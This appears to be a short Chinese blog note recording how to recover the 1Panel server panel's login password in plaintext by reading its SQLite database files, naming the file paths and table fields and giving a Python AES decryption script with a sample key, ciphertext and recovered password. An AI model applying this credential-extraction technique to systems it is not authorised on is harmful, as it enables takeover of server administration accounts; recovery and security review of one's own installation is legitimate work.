记录通过数据库文件获取1Panel密码明文
1Panel数据库路径
/opt/1panel/db/1Panel.db
/opt/1panel/db/core.db

表setting有Password和EncryptKey 使用这些可以获取密码明文
demo脚本
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key_str = 'MnlH4UNl8n9yMAZr'
password_b64 = 'wIFSh6nu0efA4lVzDBhYsmK6P8RF4/1AI2fhMCNjOB4='
key = key_str.encode('utf-8')
ciphertext = base64.b64decode(password_b64)
print(f"Key: {key_str}")
print(f"Key length: {len(key)} bytes")
print(f"Ciphertext length: {len(ciphertext)} bytes")
print()
def try_decrypt(mode_name, key, iv, ct):
try:
if mode_name == "ECB":
cipher = AES.new(key, AES.MODE_ECB)
else:
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
print(f"[+] Success ({mode_name}): {pt.decode('utf-8')}")
return True
except Exception as e:
print(f"[-] Failed ({mode_name}): {e}")
return False
# 4. AES-128-CBC (IV Prepended)
iv_prepended = ciphertext[:16]
ct_prepended = ciphertext[16:]
try_decrypt("CBC (IV Prepended)", key, iv_prepended, ct_prepended)
运行解密脚本得到明文HanaTsuki
评论